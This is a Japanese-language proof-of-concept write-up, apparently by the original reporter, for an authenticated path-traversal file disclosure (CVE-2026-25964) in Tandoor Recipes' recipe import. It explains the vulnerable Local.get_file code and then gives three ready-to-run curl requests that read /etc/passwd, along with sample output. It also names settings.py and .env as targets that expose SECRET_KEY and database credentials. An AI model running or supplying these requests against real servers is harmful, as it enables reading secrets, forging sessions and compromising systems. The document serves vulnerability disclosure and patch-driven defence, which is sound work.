
CVE-2026-25964の概念実証エクスプロイト。Tandoor Recipesにおけるレシピインポートのパストラバーサルを介した認証済みローカルファイル開示であり、任意のファイル読み取りを可能にします。
レシピインポートを介した認証済みローカルファイル開示の概念実証
開示情報: GHSA-6485-jr28-52xx を通じて私が最初に報告
⚠️ 許可されたペネトレーションテスト/研究目的のみで使用してください。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-25964 |
| 深刻度 | 🟡 中 |
| CVSSスコア | 4.9 |
| CVSSベクター | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: パストラバーサル、CWE-73: ファイル名の外部制御 |
| 影響を受ける製品 | Tandoor Recipes ≤ 2.5.0 |
| パッチ適用バージョン | 2.5.1 |
| アドバイザリ | GHSA-6485-jr28-52xx |
Tandoor Recipes の RecipeImport ワークフローにおける不適切に認可されたパストラバーサル脆弱性(CWE-22)により、インポート権限を持つ認証済みユーザーがサーバー上の任意のファイルを読み取ることができます。この脆弱性は、file_path パラメータの入力検証の欠如と、Local ストレージバックエンドのチェック不足に起因し、攻撃者がストレージディレクトリの制限を回避して、機密性の高いシステムファイル(例:/etc/passwd)やアプリケーション設定ファイル(例:settings.py)にアクセスし、システム全体の侵害につながる可能性があります。
この脆弱性は、アプリケーションの意図したストレージルートに対してユーザー指定の入力を検証できないことに起因します。
/api/recipe-import/ エンドポイントは、認証済みユーザーが任意の file_path と storage バックエンドを持つ RecipeImport オブジェクトを作成することを許可します。file_path が設定されたストレージディレクトリ内にあることを保証する検証は実行されません。cookbook/provider/local.py の Local.get_file メソッドは、ファイル取得リクエストを処理します:
@staticmethod
def get_file(recipe):
# 脆弱性: recipe.file_path で指定されたパスを直接開く
# ストレージルートディレクトリ内にあるかどうかを検証しない。
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd)や相対パス(例:../../app/config.py)を開くことを許可します。RecipeImport オブジェクトが import_recipe アクションを介して Recipe に変換されると、悪意のあるパスが永続化されます。その後の get_recipe_file の呼び出しにより、脆弱な読み取り操作がトリガーされ、ファイルの内容がユーザーに返されます。
前提条件: レシピをインポートする権限を持つ認証済みユーザーアカウント。デフォルトでは、この権限は制限されている可能性がありますが、低権限のロールに付与された場合、影響は大幅に増大します。管理者であっても、アプリケーションレベルの権限がファイルシステムレベルの読み取りアクセスを許可すべきではないため、これはセキュリティ境界の違反を表します。
ステップ 1: 悪意のあるインポートオブジェクトを作成する
ターゲットファイル(例:/etc/passwd)を指す RecipeImport オブジェクトを作成するための POST リクエストを送信します。
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(注:storage: 1 は通常、デフォルトのローカルストレージに対応します。必要に応じて調整してください。)

ステップ 2: インポートをレシピに変換する
永続的な Recipe オブジェクトを作成するためにインポートプロセスをトリガーします。ステップ 1 で返された import_id(例:4)に注意してください。
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(<IMPORT_ID> をステップ 1 のレスポンスの ID に置き換えてください。このリクエストは新しい recipe_id(例:34)を返します。)

ステップ 3: 任意のファイルをダウンロードする
ステップ 2 で返された新しいレシピ id(例:34)を使用して、レシピファイルエンドポイント経由でファイルにアクセスします。
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
結果: サーバーは /etc/passwd の内容を返し、LFD 脆弱性を確認します。
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd を読み取る機能により、システムユーザーの列挙が可能になります。/opt/recipes/recipes/settings.py(テストで確認済み)や .env などの認証済み設定ファイルを読み取ることができます。これにより、SECRET_KEY(セッション偽造を可能にする)とデータベース認証情報(直接データベースアクセスを可能にする)が露出します。